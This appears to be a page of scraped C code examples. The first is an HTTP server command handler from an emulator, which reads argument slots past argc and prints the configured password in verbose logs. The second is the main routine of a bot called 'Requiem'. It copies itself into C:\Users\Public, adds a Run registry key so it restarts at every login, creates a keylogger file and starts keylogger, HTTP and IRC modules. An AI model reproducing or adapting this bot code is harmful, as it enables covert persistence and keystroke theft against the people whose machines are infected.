Example #1
0
/*-------------------------------------------------------------------*/
int http_command(int argc, char *argv[])
{
    int rc = 0;

    if ( !http_struct_init )
    {
        memset(&http_serv,0,sizeof(HTTP_SERV));
        initialize_condition( &http_serv.http_wait_shutdown );
        initialize_lock( &http_serv.http_lock_shutdown );
        initialize_lock( &http_lock_root );
        http_struct_init = TRUE;
    }

    http_serv.httpstmtold = FALSE;

    if ( argc == 2 && CMD(argv[0],rootx,4) &&
         ( ( strlen(argv[0]) == 5 && argv[2] != NULL && strcmp(argv[2],"httproot") == 0 ) ||
           ( strlen(argv[0]) == 4 ) ) )
    {
        if ( strlen(argv[0]) == 5 )
        {
            http_serv.httpstmtold = TRUE;
        }

        obtain_lock( &http_lock_root );
        if (http_serv.httproot)
        {
            free(http_serv.httproot);
            http_serv.httproot = NULL;
        }

        if ( strlen(argv[1]) > 0 )
        {
            char    pathname[MAX_PATH];

            hostpath(pathname, argv[1], sizeof(pathname));

            if ( pathname[strlen(pathname)-1] != PATHSEPC )
                strlcat( pathname, PATHSEPS, sizeof(pathname) );

            http_serv.httproot = strdup(pathname);
        }
        release_lock( &http_lock_root );

        http_root();

        if ( MLVL(VERBOSE) )
            WRMSG(HHC02204, "I", http_serv.httpstmtold ? "httproot": "root",
                        http_serv.httproot ? http_serv.httproot : "<not specified>");

        if ( http_serv.httpstmtold )
            http_startup(TRUE);

        rc = 0;
    }
    else if ( (argc == 2 || argc == 3 || argc == 5) && CMD(argv[0],portx,4) &&
              ( ( strlen(argv[0]) == 5 && argv[5] != NULL && strcmp(argv[5],"httpport") == 0 ) ||
                ( strlen(argv[0]) == 4 ) ) )
    {
        if ( strlen(argv[0]) == 5 )
        {
            http_serv.httpstmtold = TRUE;
        }

        if ( sysblk.httptid != 0 )
        {
            WRMSG( HHC01812, "E" );
            rc = -1;
        }
        else
        {
            char c;

            if (sscanf(argv[1], "%hu%c", &http_serv.httpport, &c) != 1
                    || http_serv.httpport == 0
                    || (http_serv.httpport < 1024 && http_serv.httpport != 80) )
            {
                rc = -1;
            }
            if ( rc >= 0 && argc == 3 && CMD(argv[2],noauth,6) )
            {
                http_serv.httpauth = 0;
            }
            else if ( rc >=0 && argc == 5 && CMD(argv[2],auth,4) )
            {
                if ( strlen( argv[3] ) < 1 || strlen( argv[4] ) < 1 )
                {
                    WRMSG( HHC01814, "E" );
                    rc = -1;
                }
                else
                {
                    if (http_serv.httpuser)
                        free(http_serv.httpuser);
                    http_serv.httpuser = strdup(argv[3]);

                    if (http_serv.httppass)
                        free(http_serv.httppass);
                    http_serv.httppass = strdup(argv[4]);

                    http_serv.httpauth = 1;
                }
            }
            else if ( argc != 2 || rc < 0 )
            {
                WRMSG( HHC02299, "E", "http" );
                rc = -1;
            }

            if ( rc >= 0 && MLVL(VERBOSE) )
            {
                char msgbuf[128];
                if ( http_serv.httpauth == 1 )
                {
                    MSGBUF( msgbuf, "port=%hu auth userid<%s> password<%s>",
                            http_serv.httpport,
                          ( http_serv.httpuser == NULL || strlen(http_serv.httpuser) == 0 ) ?
                                "" : http_serv.httpuser,
                          ( http_serv.httppass == NULL || strlen(http_serv.httppass) == 0 ) ?
                                "" : http_serv.httppass );
                }
                else
                    MSGBUF( msgbuf, "port=%hu noauth", http_serv.httpport );

                WRMSG( HHC02204, "I", http_serv.httpstmtold ? "httpport":"port", msgbuf );

                if ( http_serv.httpstmtold )
                    http_startup(TRUE);

            }   /* VERBOSE */
        }
    }
    else if ( argc == 1 && CMD(argv[0],start,3) )
    {
        if ( http_serv.httpport == 0 )
        {
            WRMSG( HHC01815, "E", "not valid");
            rc = -1;
        }
        else
            rc = http_startup(FALSE);
    }
    else if (argc == 1 && CMD(argv[0],stop,4))
    {
        if ( sysblk.httptid != 0 )
        {
            http_shutdown(NULL);
            WRMSG( HHC01805, "I" );
            rc = 1;
        }
        else
        {
            http_serv.httpshutdown = TRUE;
            WRMSG( HHC01806, "W", "already stopped" );
            rc = 1;
        }
    }
    else if ( argc == 0 )
    {
        if ( sysblk.httptid != 0 )
        {
            if ( http_serv.httpbinddone )
            {
                WRMSG( HHC01809, "I" );
                rc = 0;
            }
            else
            {
                WRMSG( HHC01813, "I" );
                rc = 1;
            }
        }
        else
        {
            WRMSG( HHC01810, "I" );
            rc = 1;
        }

        WRMSG(HHC01811, "I", http_get_root());

        WRMSG(HHC01808, "I", http_get_port(), http_get_portauth());
    }
    else
    {
        WRMSG( HHC02299, "E", "http" );
        rc = -1;
    }
    return rc;
}
Example #2
0
int main()
{
	HANDLE keylogFile, debugFile;
	char tempDirName[MAX_PATH];

	sprintf(tempDirName, "%s\\%s", "C:\\Users\\Public", _folderName); //Store the folder location into tempDirName

	if (CreateDirectory(tempDirName, NULL)) { //If folder does not exist create it and create the debug file as well.
		char tempFileName[MAX_PATH];
		char buffer[] = "[CORE]: Bot Started \n";
		DWORD bytesWritten = 0;

		sprintf(tempFileName, "%s\\%s", tempDirName, _fileName); //Store whole path name in tempFileName
		
		debugFile = CreateFile(tempFileName, GENERIC_ALL, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); //Create debug file
		WriteFile(debugFile, buffer, sizeof(buffer) - 1, &bytesWritten, NULL);								 //Write to debug file

		char modFileName[MAX_PATH]; //Get current exe path name so we can copy it to the new folder we created
		GetModuleFileName(NULL, modFileName, sizeof(modFileName));

		char tempExeName[MAX_PATH]; //Set this equal to our new folder name + requiem as the exe name
		sprintf(tempExeName, "%s\\%s", tempDirName, "Requiem.exe");

		if (CopyFile(modFileName, tempExeName, TRUE)) //Copy our current program into the new directory so it can be run at startup
		{
			char lpData[MAX_PATH];//Create registry key to autorun bot
			RegSetKeyValue(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Requiem", REG_SZ, (LPBYTE)&tempExeName, sizeof(tempExeName));

			char bytesToWrite[] = "[CORE]: Registry Key Added \n"; //Write to debug file
			WriteFile(debugFile, bytesToWrite, sizeof(bytesToWrite) - 1, &bytesWritten, NULL);
		}
	}

	char tempKeylogFileName[MAX_PATH];
	sprintf(keylogDir, "%s\\%s", tempDirName, _keylogFile);
	if (keylogHandle = CreateFile(keylogDir, GENERIC_ALL, FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)) {
		char buffer[] = "[CORE]: Keylogger started \n";
		DWORD bytesWritten = 0;

		WriteFile(keylogHandle, buffer, sizeof(buffer) - 1, &bytesWritten, NULL);
		CloseHandle(keylogHandle);
	}

	//keylogHandle = CreateFile(tempKeylogFileName, GENERIC_ALL, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);




	//module startups
	#ifdef RQHTTP_H
		http_startup();
	#endif

	#ifdef KEYLOG_H
		keylog_startup();
	#endif

	#ifdef RQIRC_H
		irc_startup();
	#endif

	return 0;
}